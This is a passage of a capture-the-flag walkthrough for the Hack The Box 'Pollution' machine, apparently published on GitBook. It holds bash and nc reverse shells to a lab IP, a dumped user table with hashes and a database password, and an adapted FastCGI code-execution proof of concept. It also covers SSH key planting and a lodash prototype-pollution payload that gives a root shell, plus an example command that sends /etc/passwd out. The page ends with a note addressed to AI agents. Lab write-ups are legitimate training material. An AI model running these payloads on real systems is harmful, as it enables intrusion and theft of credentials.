Developers Collect

tags if '' in output: # Extract content between main tags start = output.find('') if start != -1 and end != -1: # Get the main content main_content = output[start:end+7] # Remove HTML tags to get clean output import re clean_output = re.sub(r'<[^>]+>', '', main_content) # Remove extra whitespace and newlines clean_output = clean_output.strip() # Remove the garbage at the end (��>==�@C) # Find where the actual command output ends lines = clean_output.split('\n') clean_lines = [] for line in lines: # Skip lines that are just garbage if line and not all(ord(c) > 127 or c in '>=�@C' for c in line): clean_lines.append(line) clean_output = '\n'.join(clean_lines) if clean_output: print(clean_output) else: # If clean extraction fails, print everything print(r.text) else: print(r.text) else: print(r.text) except Exception as e: print(f"Error: {e}") ```

with the command execution confirmed i will use this to get rce. ```powershell python3 rce.py "bash -c 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1'" ``` ## Shell as www-data

next step is to stabilise the shell. ```powershell www-data@pollution:~/developers$ python3 -c 'import pty; pty.spawn("/bin/bash")'

### Enumerating mysql database

```powershell www-data@pollution:~/developers$ mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -e "SELECT * FROM forum.mybb_users;" mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -e "SELECT * FROM forum.mybb_users;" +-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+---------+-----------+--------+------------------+------------+-----------+------------------+--------------+-----------+------------+------------+------------+------------+---------+-----+-------+--------+----------+-----------------+-----------+--------------+-----------+--------------------+-----------+------------+------------------+----------+----------+-----------------+-------------------+------------+------------+------------+----------+-------------+----------------+--------------+-----+-----+-----------+------------+------------+----------+-----+---------------+-----------+------------+-------+------+----------+------------+------------+---------------------------------+---------+----------+-----------+------------+-------+--------+----------+------------+-----------------+----------+-----------+---------------+---------------+----------------+----------------+----------------+------------------+----------------+-----------+----------------+---------------+--------------------+-----------+--------------+ | uid | username | password | salt | loginkey | email | postnum | threadnum | avatar | avatardimensions | avatartype | usergroup | additionalgroups | displaygroup | usertitle | regdate | lastactive | lastvisit | lastpost | website | icq | skype | google | birthday | birthdayprivacy | signature | allownotices | hideemail | subscriptionmethod | invisible | receivepms | receivefrombuddy | pmnotice | pmnotify | buddyrequestspm | buddyrequestsauto | threadmode | showimages | showvideos | showsigs | showavatars | showquickreply | showredirect | ppp | tpp | daysprune | dateformat | timeformat | timezone | dst | dstcorrection | buddylist | ignorelist | style | away | awaydate | returndate | awayreason | pmfolders | notepad | referrer | referrals | reputation | regip | lastip | language | timeonline | showcodebuttons | totalpms | unreadpms | warningpoints | moderateposts | moderationtime | suspendposting | suspensiontime | suspendsignature | suspendsigtime | coppauser | classicpostbit | loginattempts | loginlockoutexpiry | usernotes | sourceeditor | +-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+---------+-----------+--------+------------------+------------+-----------+------------------+--------------+-----------+------------+------------+------------+------------+---------+-----+-------+--------+----------+-----------------+-----------+--------------+-----------+--------------------+-----------+------------+------------------+----------+----------+-----------------+-------------------+------------+------------+------------+----------+-------------+----------------+--------------+-----+-----+-----------+------------+------------+----------+-----+---------------+-----------+------------+-------+------+----------+------------+------------+---------------------------------+---------+----------+-----------+------------+-------+--------+----------+------------+-----------------+----------+-----------+---------------+---------------+----------------+----------------+----------------+------------------+----------------+-----------+----------------+---------------+--------------------+-----------+--------------+ | 1 | administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R | A0y92JQgmcgWYD58HJ60DiiCt3P99x8OZfvOxEPwJLmqOeSOwW | admin@mail.com | 0 | 0 | | | 0 | 4 | | 0 | | 1661611093 | 1666217703 | 1666217703 | 1661636901 | | | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 0 | | | 0 | 0 | 0 | | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | | �� | | 4386 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 2 | john | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe | l7aOWBckgI4ftj2l4DOiStHdbBvGd7yTMQq1S3o9MKxjStGsIs | john@mail.com | 5 | 2 | | | | 5 | | 0 | | 1661614233 | 1666217771 | 1666217771 | 1666217738 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | | �� | | 1172 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 3 | victor | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 | AWph5kNlnypMrABiGwuDd7wsx2hpIrGkekB9npwYebdwIjNFwn | victor@mail.com | 4 | 2 | | | | 2 | | 0 | | 1661619857 | 1666214661 | 1666214661 | 1666210063 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | | �� | | 3323 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 4 | sysadmin | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 | yZbtQ4Q43aIKHpUILPJh3BI1hhV6PJxMfnrZNAhoCYQmLIP9Ha | sys@mail.com | 5 | 1 | | | | 2 | | 0 | | 1661620712 | 1666214844 | 1666214844 | 1666214767 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | | �� | | 1979 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 5 | jeorge | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 | JB39phsqZZD1uzYnlhRB6WenutT4vC50by83RY9A4SuM0hSVJS | jeorge@mail.com | 2 | 1 | | | | 2 | | 0 | | 1661621300 | 1666217519 | 1666217519 | 1666217513 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | | �� | | 1129 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 8 | lyon | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh | 8XGZZ4fr2JRedE3RTrQvfJBeXz6tBPq4tuHkQcN3ocxDz09Oby | lyon@collect.htb | 1 | 0 | | | | 2 | | 0 | | 1666217834 | 1666225615 | 1666225615 | 1666217869 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | �� | �� | | 183 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | | 0 | | 6 | jane | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg | j15Em76H0nxL9EXIC4k4aw1KiJK7DS5bE9cQ33rmqHTBWokBc7 | jane@mail.com | 2 | 2 | | | | 2 | | 0 | | 1663884384 | 1666217286 | 1666217286 | 1666217247 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | �� | �� | | 942 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 7 | karldev | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh | xvGZvc0b0ReCHDDJQuolVSC4r7GebsPYTlWghoNUkYT20Fp9H3 | karldev@mail.com | 4 | 1 | | | | 2 | | 0 | | 1663990214 | 1666217438 | 1666217438 | 1666217398 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | �� | �� | | 1096 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | | 0 | | 9 | ajay | 546f3f0693f391f49aa3a763f166df45 | a0bmOXoI | F9dmbmRkActwONTAHYTLqG9kxUgCIzmz8Hlmpjs6BbXZV7zJN7 | ajay@gmail.com | 0 | 0 | | | | 2 | | 0 | | 1786043379 | 1786043408 | 1786043379 | 0 | | 0 | | | | all | | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | | | 0 | 0 | 2 | | | 0 | 0 | 0 | 0 | | 0**$%%$1**$%%$2**$%%$3**$%%$4** | | 0 | 0 | 0 | 1 | 1 | | 29 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | | 0 | +-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+---------+-----------+--------+------------------+------------+-----------+------------------+--------------+-----------+------------+------------+------------+------------+---------+-----+-------+--------+----------+-----------------+-----------+--------------+-----------+--------------------+-----------+------------+------------------+----------+----------+-----------------+-------------------+------------+------------+------------+----------+-------------+----------------+--------------+-----+-----+-----------+------------+------------+----------+-----+---------------+-----------+------------+-------+------+----------+------------+------------+---------------------------------+---------+----------+-----------+------------+-------+--------+----------+------------+-----------------+----------+-----------+---------------+---------------+----------------+----------------+----------------+------------------+----------------+-----------+----------------+---------------+--------------------+-----------+--------------+ www-data@pollution:~/developers$ ``` The database forum has a table `mybb_users` which had user hashes but none them were crackable against `rockyou.txt`

there is only one user directory in home : victor looking at the processes oof victor revealed he is running `php-fpm`.

Even root runs separate master process .

looking at the `victor.conf` pool file revealed victor pool is listening on port 9000 on localhost. ```powershell user = victor group = victor listen = 127.0.0.1:9000 ``` hacktricks has page to pentest fastcgi {% embed url="" %} the first thing, i have done is to see if we can connect to port 9000 which was confirmed.

Below is the poc listed in hacktricks ```powershell #!/bin/bash PAYLOAD="';" FILENAMES="/var/www/public/index.php" # Exisiting file path HOST=$1 B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT cat $OUTPUT done ``` next step is to edit the poc according to our machine. ### Fast CGI RCE ```powershell cat > /tmp/fcgi_cmd.sh << 'EOF' #!/bin/bash CMD=${1:-"id"} HOST="127.0.0.1" FILENAMES="/var/www/developers/index.php" PAYLOAD="';" B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT cat $OUTPUT rm $OUTPUT done EOF chmod +x /tmp/fcgi_cmd.sh ```

i can try reading ssh keys of victor.

The ssh directory is empty which means we can write our own ssh keys and get a stable shell access as victor. #### Generating and writing ssh keys ```powershell ──(ajay㉿kali)-[~] └─$ ssh-keygen -t rsa -b 4096 -f victor_rsa -N "" Generating public/private rsa key pair. Your identification has been saved in victor_rsa Your public key has been saved in victor_rsa.pub The key fingerprint is: SHA256:htdkdRI4TmVAM1TS1qE3gYPwdSs11ROcab4UTv2PUvA ajay@kali The key's randomart image is: +---[RSA 4096]----+ | .+BBO+O+B| | .=B**.%o| | o+oo+O +| | . +. oE=.| | . S . ...o| | o . ...| | . | | | | | +----[SHA256]-----+ ``` ```powershell ──(ajay㉿kali)-[~] └─$ cat victor_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJRaxo--------------------------------sFL7Z+w== ajay@kali ``` ```powershell # On the target, create a script to write the SSH key cat > /tmp/write_key.sh << 'EOF' #!/bin/bash mkdir -p /home/victor/.ssh chmod 700 /home/victor/.ssh cat > /home/victor/.ssh/authorized_keys << 'KEY' ssh-rsa AAAAB3NzaC1---------------------------------S25qGdl6YZ9FTluUsFL7Z+w== ajay@kali KEY chmod 600 /home/victor/.ssh/authorized_keys chown -R victor:victor /home/victor/.ssh echo "SSH key installed successfully!" cat /home/victor/.ssh/authorized_keys EOF chmod +x /tmp/write_key.sh # Execute the script via fcgi_cmd /tmp/fcgi_cmd.sh "bash /tmp/write_key.sh" ```

now that ssh keys are in place i can use the ssh key to login through ssh as victor. ## Shell as Victor

```powershell victor@pollution:~/pollution_api$ ls controllers functions index.js logs log.sh models node_modules package.json package-lock.json routes victor@pollution:~/pollution_api$ cat index.js const express = require('express'); const app = express(); const bodyParser = require('body-parser'); app.use(bodyParser.json()); app.get('/',(req,res)=>{ res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'}); }) app.use('/auth',require('./routes/auth')); app.use('/client',require('./routes/client')); app.use('/admin',require('./routes/admin')); app.use('/documentation',require('./routes/documentation')); app.listen(3000, '127.0.0.1'); console.log('Listen on '); victor@pollution:~/pollution_api$ ``` The Pollution API is running on port 3000 with routes for /auth, /client, /admin, and /documentation. ```powershell victor@pollution:~/pollution_api$ curl {"Status":"Ok","Message":"Read documentation from api in /documentation"} ``` ```powershell victor@pollution:~/pollution_api$ curl {"Documentation":{"Routes":{"/":{"Methods":"GET","Params":null},"/auth/register":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/auth/login":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/client":{"Methods":"GET","Params":null},"/admin/messages":{"Methods":"POST","Params":{"id":"messageid"}},"/admin/messages/send":{"Methods":"POST","Params":{"text":"message text"}}}}} ``` To analyse it more easily, I’ll send the source to my VM for which i will create an archive on Pollution and transfer to the VM ```powershell victor@pollution:~$ tar zcf api.tar.gz pollution_api/ victor@pollution:~$ ls api.tar.gz Desktop Documents Downloads Music Pictures pollution_api Public Templates user.txt Videos victor@pollution:~$ ```

once extracted, i can use visual code to scan the code using snyk to identify vulnerabilities.

snyk identified 43 misconfiguration and vulnerabilities among which prototype pollution stands out multiple times.

The lodash module is vulnerable to prototype pollution. next thing, i have done is to see where is the `lodash` module imported or used.

it is used in the `message_send.js` file. ```powershell const Message = require('../models/Message'); const { decodejwt } = require('../functions/jwt'); const _ = require('lodash'); const { exec } = require('child_process'); const messages_send = async(req,res)=>{ const token = decodejwt(req.headers['x-access-token']) if(req.body.text){ const message = { user_sent: token.user, title: "Message for admins", }; _.merge(message, req.body); exec('/home/victor/pollution_api/log.sh log_message'); Message.create({ text: JSON.stringify(message), user_sent: token.user }); return res.json({Status: "Ok"}); } return res.json({Status: "Error", Message: "Parameter text not found"}); } module.exports = { messages_send }; ``` `lodash.merge` is a **recursive** function. It merges the properties of `req.body` (which comes directly from the attacker's HTTP request) into the `message` object. Because it is recursive, if the attacker sends a JSON payload containing `__proto__`, `lodash.merge` will traverse into it and copy the nested properties directly into `Object.prototype` (the shared prototype for all objects in the Node.js application). also on Line 13: `exec('/home/victor/pollution_api/log.sh log_message');` The `exec` function runs a shell command. Because Prototype Pollution affects **all** objects, an attacker could pollute the global `Object.prototype` with a property named **`command`** or **`env`**. Node.js's `child_process.exec` relies on internal prototype lookups for default settings. By polluting these settings, the attacker could change the shell that `exec` uses (e.g., from `/bin/sh` to `/bin/bash -c 'malicious command'`), effectively achieving **Remote Code Execution (RCE)** on your server. An attacker would send a POST request with the following JSON body: ```powershell { "text": "Hello admin", "__proto__": { "isAdmin": true, "role": "super_admin", "command": "sh -c 'curl (cat /etc/passwd)'" } } ``` looking at the documentation and routes reveals the endpoints of where to send the messages.

Using the earlier credentials registered on `collect.htb` the `api` results in not supported. ### Prototype Pollution -> RCE With this information i will register a new user using the `/auth/register` endpoint. ```powershell victor@pollution:~$ curl -H "Content-type: application/json" -d '{"username":"hack", "password":"hack"}' localhost:3000/auth/register {"Status":"Ok"}victor@pollution:~$ ``` Confirmed the access by using the creds against the endpoint `/auth.login` ```powershell victor@pollution:~$ curl -H "Content-type: application/json" -d '{"username":"hack", "password":"hack"}' localhost:3000/auth/login {"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaGFjayIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzg2MDU4OTAzLCJleHAiOjE3ODYwNjI1MDN9.cug9aiWi9xLu70RcGxfIUa7Q7IqjwkW5UdKAoa36FYk"}}victor@pollution:~$ ``` the JWT is decoded to a normal user.

now we need an admin account to get RCE as root. so as we have the database credentials earlier, i can attempt to manually update the database file by changing the role user -> admin.

changing user -> admin

now if i login again, the new JWT token is given. ```powershell victor@pollution:~$ curl -H "Content-type: application/json" -d '{"username":"hack", "password":"hack"}' localhost:3000/auth/login {"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaGFjayIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4NjA1OTA1NiwiZXhwIjoxNzg2MDYyNjU2fQ.vQ_dDE8dqirGVH6l3L8WkuD4kI8NIH6YK1gtivfocKg"}}victor@pollution:~$ ``` decoding the JWT token says admin user.

Now as admin, we are going to use this valid token to send the exact `NODE_OPTIONS` prototype pollution payload to get a reverse shell as root. ```powershell curl -X POST \ -H 'Content-Type: application/json' \ -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaGFjayIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4NjA1OTA1NiwiZXhwIjoxNzg2MDYyNjU2fQ.vQ_dDE8dqirGVH6l3L8WkuD4kI8NIH6YK1gtivfocKg' \ -d "{\"text\":\"foobar\",\"__proto__\":{\"shell\":\"/proc/self/exe\",\"argv0\":\"console.log(require('child_process').execSync('rm /tmp/z;mkfifo /tmp/z;cat /tmp/z|/bin/sh -i 2>&1|nc 10.10.14.49 9003 >/tmp/z').toString())//\",\"NODE_OPTIONS\":\"--require /proc/self/cmdline\"}}" ``` ## Shell as Root

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-pollution.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.